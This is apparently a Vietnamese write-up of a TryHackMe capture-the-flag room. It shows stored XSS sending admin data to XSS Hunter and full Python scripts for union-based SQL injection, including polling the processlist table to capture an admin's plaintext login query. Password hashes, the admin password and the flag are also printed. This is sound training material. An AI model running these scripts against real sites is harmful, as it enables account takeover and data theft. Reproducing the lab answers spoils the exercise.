Rabbit Hole
It's easy to fall into rabbit holes.
Initial Reconnaissance
Chúng ta thêm dòng sau vào /etc/host để ánh xạ domain name:
10.10.21.160 rabbithole.thmService Scanning
┌──(hungnt㉿kali)-[~/Documents]
└─$ rustscan -a rabbithole.thm -r 1-65535 -- --no-nmap
Open 10.10.21.160:22
Open 10.10.21.160:80┌──(hungnt㉿kali)-[~/Documents]
└─$ sudo nmap -p22,80 -A -v rabbithole.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 19.968 days (since Thu Aug 28 21:32:08 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zerosTừ kết quả scan của Nmap, ta thấy rằng máy target có 2 dịch đang chạy đó là SSH và HTTP. Bên cạnh đó, hệ điều hành là Debian.
SSH 22

Dịch vụ SSH cho phép chúng ta xác thực bằng mật khẩu, vì vậy ta có thể sẽ đi tìm các mật khẩu ở plain-text.
HTTP 80
Trang chính chỉ thể hiện ra 2 chức năng là đăng ký và đăng nhập.

Ở đây có ghi chú rằng, có các biện pháp chống tấn công brute-force, và chức năng đăng nhập đang được giám sát liên tục.

Directory Enumeration
Bây giờ chúng ta scan những thư mục và file ẩn trên website với ffuf:
┌──(hungnt㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://rabbithole.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100
Chúng ta chỉ phát hiện thêm được một endpoint dành cho việc đăng xuất, logout.php.
/register.php
Chúng ta sẽ thử đăng ký một tài khoản là demo:password. Đăng ký thành công cũng không hiện ra bất kỳ thông báo nào và lại quay về trang đăng ký.

Chúng ta lại thử tiếp tục đăng ký một tài khoản với username là admin xem có thông báo gì không.

Lần này, trang web trả về Something went wrong, có thể bởi vì username admin đã tồn tại.
/login.php

Bây giờ chúng ta sẽ đăng nhập với tài khoản demo vừa tạo:

Ta thấy rằng trang web hiện thị lần đăng nhập cuối cùng của user hiện tại và cả của user admin. Và admin có vẻ đăng nhập và đăng xuất sau mỗi phút.
Giả sử ban đầu chưa đăng nhập tài khoản nào, khi chúng ta nhập một tài khoản bất kỳ không tồn tại, thì trang web không trả về phản hồi gì và chỉ quay lại trang đăng nhập.

Sau khi gửi request với tài khoản hợp lệ thì ta xem được thông tin về các lần đăng nhập.

Nhưng lần gửi request sau đó với tài khoản không tồn tại vẫn thì trang web vẫn trả về các lần đăng nhập.

Có vẻ như cơ chế xác thực đang dựa vào PHP session ID và chỉ kiểm tra xem trước đó chúng ta đã đăng nhập chưa, chứ không kiểm tra tài khoản. Chúng ta chỉ trở về trang đăng nhập sau khi nhấn đăng xuất.


Cross-site Scripting
Nhớ rằng, admin đăng nhập và đăng xuất từng phút. Và mỗi lần đăng nhập có thể trang web của admin cũng sẽ hiện thông tin của các user khác.

Và ta để ý rằng username ta đăng ký được reflect tại ngay trên trang web. Vì thế ta có thể test lỗ hổng XSS tại đây với username là một thẻ <script>:


Và chúng ta đã thành công thực thi lệnh.
Bây giờ, chúng ta sẽ sử dụng XSS Hunter để lấy trộm thông tin từ admin khi admin đăng nhập lại.

Chúng ta thử đăng nhập để xác nhận xem script có được thực thi không.

Script đã được thực thi thành công và ta thấy kết quả tại trang XSS Hunter. Và bên cạnh đó ta còn thấy lỗi về syntax error của MariaDB được in ra.

SQL Injection
Ta có thể đoán rằng trường username khi đăng ký có thể bị dính SQL Injection.
Ta thử đăng ký một tài khoản với username có dấu nháy:

Không có gì. Với dấu nháy kép thì sao?

Và chúng ta xác nhận trang web chắc chắn dính lỗ hổng SQL Injection.
Thay vì phải đăng ký rồi lại đăng nhập thủ công để khai thác SQL Injection, ta viết một đoạn Python script để tự động làm điều này, ta chỉ việc nhập payload:
import requests
url = "http://rabbithole.thm/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc"
}
def logout():
global headers
headers["Referer"] = url
r = requests.get(url + "logout.php", headers=headers)
def register(payload):
global headers
headers["Referer"] = url
data = {
"username": payload,
"password": "pass",
"submit": "Submit Query"
}
r = requests.post(url + "register.php", headers=headers, data=data)
def login(payload):
global headers
headers["Referer"] = url + "login.php"
data = {
"username": payload,
"password": "pass",
"login": "Submit Query"
}
r = requests.post(url + "login.php", headers=headers, data=data, allow_redirects=False)
r = requests.get(url, headers=headers)
print(r.text)
while True:
logout()
payload = str(input("\nPayload > "))
register(payload)
login(payload)Trước hết ta đếm số cột trong câu truy vấn select hiện tại:
Payload > username" order by 2-- -
<table class="u-full-width">
<thead><th>User 8 - username" order by 2-- - last logins</th></thead><tbody>
</tbody></table>
</div></div></div>
Payload > username" order by 3-- -
<table class="u-full-width">
<thead><th>User 9 - username" order by 3-- - last logins</th></thead><tbody>
SQLSTATE[42S22]: Column not found: 1054 Unknown column '3' in 'order clause'</tbody></table>
</div></div></div>Ta phát hiện chỉ có 2 cột, ta tiếp tục xem cột nào sẽ in ra kết quả:
Payload > " union select "first","second"-- -
<table class="u-full-width">
<thead><th>User 10 - " union select "first","second"-- - last logins</th></thead><tbody>
<tr><td>second</td></tr>
</tbody></table>
</div></div></div>Sau một vài câu lệnh để trích xuất thông tin, ta thấy rằng mỗi dòng in ra bị giới hạn tối đa là 16 ký tự. Để xử lý vấn đề này, ta sẽ sử dụng nhiều câu lệnh union select liên tiếp để lấy ra từng đoạn 16 ký tự ở từng dòng, rồi sau đó in chúng nối liền nhau. Bên cạnh đó, ta cũng sẽ loại bỏ các cú pháp của HTML và chỉ lọc ra kết quả của câu truy vấn.
import requests
from bs4 import BeautifulSoup
url = "http://rabbithole.thm/"
def query(p):
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc",
"Referer": url
}
r = requests.get(url + "logout.php", headers=headers)
payload = '" '
for i in range(1, 200, 16):
payload += f'union select null,substr(({p}),{i},16) '
payload += '-- -'
r = requests.post(url + "register.php", headers=headers, data={
"username": payload,
"password": "pass",
"submit": "Submit Query",
})
headers["Referer"] = url + "login.php"
r = requests.post(url + "login.php", headers=headers, data={
"username": payload,
"password": "pass",
"login": "Submit Query"
}, allow_redirects=False)
r = requests.get(url, headers=headers)
tbody = BeautifulSoup(r.text, "html.parser").find_all("tbody")[1]
tbody_text = tbody.get_text("\n", strip=True)
if "SQLSTATE" in tbody_text:
print(tbody_text)
else:
for fd in tbody.find_all("td"):
print(fd.get_text(), end="")
print("")
while True:
query(str(input("\nPayload > ")))Bây giờ ta sẽ trích xuất các databases, các tables, các columns, và cuối cùng là username và password:
Payload > select group_concat(schema_name) from information_schema.schemata
information_schema,web
Payload > select group_concat(table_name) from information_schema.tables where table_schema="web"
users,logins
Payload > select group_concat(column_name) from information_schema.columns where table_schema="web" and table_name="users"
id,username,password,group
Payload > select group_concat(column_name) from information_schema.columns where table_schema="web" and table_name="logins"
username,login_time
Payload > select group_concat(concat(id,":",username,":",password,":",`group`) separator "\n") from users where id < 4
1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin
2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest
3:bar:de97e75e5b4604526a2afaed5f5439d7:guestSử dụng một trình hash cracker online, ta có thể crack được mật khẩu của user foo và bar, nhưng của admin thì không.

Và mật khẩu của 2 user kia là rabbit hole, có vẻ như đây là gợi ý cho chúng ta rằng đây không phải là hướng đi đúng.
PROCESSLIST
Bây giờ, ta không thấy còn phương hướng nào khác cả. Leak dữ liệu từ database cũng không có gì hữu ích. Trên trang web cũng không còn chức năng nào khác ngoài đăng ký và đăng nhập. Dịch vụ SSH thì chúng ta cũng chưa có thông tin gì để tiếp tục.
Ta để ý rằng, cứ mỗi lần sau khi đăng xuất và đăng nhập thành công vào hệ thống, trang web load trong khoảng 5-6 giây trước khi trả về phản hồi. Vậy có thể khi đăng nhập, phía server phải thực hiện một tác vụ nặng nào đó với databases, hoặc đơn giản chỉ là lệnh sleep bởi vì tại trang đăng ký có ghi rằng cơ chế chống brute-force được implement trong câu lệnh truy vấn. Có khi nào việc băm password được thực hiện ngay trong câu lệnh SQL thay vì trong code PHP?
Vì user admin liên tục vào ra mỗi phút, chúng ta tự hỏi liệu câu lệnh SQL sử dụng để xác thực admin có được lưu lại, và có cách nào để chúng ta có trích xuất ra câu lệnh đó không?
Sau khi tìm kiếm trên Google, ta có thể phát hiện ra trong MariaDB, schema đặc biệt đó là information_schema có một table với tên gọi là PROCESSLIST:
PROCESSLIST là một bảng ảo (virtual table, không lưu trữ dữ liệu cố định trên đĩa như table bình thường, mà được tạo ra “on the fly” bởi hệ thống, phản ánh trạng thái hiện tại của server) dùng để hiển thị tất cả các kết nối (thread) hiện có đến server. Mỗi dòng trong PROCESSLIST đại diện cho một kết nối giữa server với một client, chứa ID của thread, user đăng nhập, host kết nối, database đang sử dụng, lệnh đang chạy, thời gian tiến trình ở trạng thái hiện tại, và trạng thái chi tiết của tiến trình. Đặc biệt, cột INFO là nơi ghi lại câu lệnh SQL (query) mà tiến trình đó đang thực thi.
Bởi đây là một bảng ảo nên mỗi dòng sẽ bị xoá đi vào lúc nào đó, chỉ tồn tại chừng nào kết nối tương ứng còn sống. Cụ thể ở đây ta muốn trích xuất câu truy vấn khi admin đăng nhập bởi ta cho rằng có thể việc băm mật khẩu được thực hiện trong câu truy vấn, thì ta cần phải lưu ý vòng đời của kết nối rất ngắn. Thời gian tồn tại của dòng đó chỉ bằng thời gian thực thi câu lệnh là từ lúc query bắt đầu cho đến khi kết quả được trả về cho client. Với bảng nhỏ, điều kiện đơn giản, chỉ là vài giây, nên sẽ rất khó để bắt được đúng lúc.
Bây giờ ta sẽ sửa lại script Python để trích ra câu truy vấn khi admin đăng nhập. Ta sẽ trích ra cột info từ PROCESSLIST và loại trừ chính câu truy vấn đang được sử dụng. Và ta sẽ cần phải thực thi payload nhiều lần liên tục để có thế bắt được đúng lúc câu truy vấn. Nhớ lại rằng, cơ chế chống brute-force là delay 5-6 giây sau khi đăng nhập thành công, vì thế ta không nên đăng xuất rồi lại đăng nhập vào như trước. Thay vào đó, ta đăng ký và đăng nhập một lần với payload. Sau đó liên tục refresh lại trang, hy vọng có thể bắt được câu truy vấn sau vài lần thử:
import requests
from bs4 import BeautifulSoup
url = "http://rabbithole.thm/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc",
"Referer": url
}
r = requests.get(url + "logout.php", headers=headers)
payload = '" '
for i in range(1, 200, 16):
payload += f'union select null,substr(info,{i},16) from information_schema.processlist where info not like "%info%" '
payload += '-- -'
print(payload)
r = requests.post(url + "register.php", headers=headers, data={
"username": payload,
"password": "pass",
"submit": "Submit Query",
})
headers["Referer"] = url + "login.php"
r = requests.post(url + "login.php", headers=headers, data={
"username": payload,
"password": "pass",
"login": "Submit Query"
}, allow_redirects=False)
print("\nLogged in.\n")
while True:
r = requests.get(url, headers=headers)
tbody = BeautifulSoup(r.text, "html.parser").find_all("tbody")[1]
tbody_text = tbody.get_text("\n", strip=True)
print("\nInjecting...")
if tbody_text:
for fd in tbody.find_all("td"):
print(fd.get_text(), end="")
break
Ta đã thành công lấy ra được câu truy vấn khi admin đăng nhập:
SELECT * from users where (username= 'admin' and password=md5('fEeFBqOXBOLmjpTt0B3LNpuwlr7mJxI9dR8kgTpbOQcLlvgmoCt35qogicf8ao0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2Password của admin là fEeFBqOXBOLmjpTt0B3LNpuwlr7mJxI9dR8kgTpbOQcLlvgmoCt35qogicf8ao0Q.
Shell as admin
Bây giờ chúng ta sẽ thử SSH luôn vào target bằng password vừa tìm thấy, thay vì đăng nhập trên website.

Chúng ta đã đăng nhập thành công và truy cập vào target dưới quyền của user admin.
flag.txt
admin@ubuntu-jammy:~$ ls -la
total 24
drwxr-x--- 2 admin admin 4096 Jul 20 2024 .
drwxr-xr-x 5 root root 4096 Jul 20 2024 ..
-rw-r--r-- 1 admin admin 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 admin admin 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 admin admin 807 Jan 6 2022 .profile
-rw-r--r-- 1 root root 50 Jul 20 2024 flag.txt
admin@ubuntu-jammy:~$ cat flag.txt
THM{this_is_the_way_step_inside_jNu8uJ9tvKfH1n48}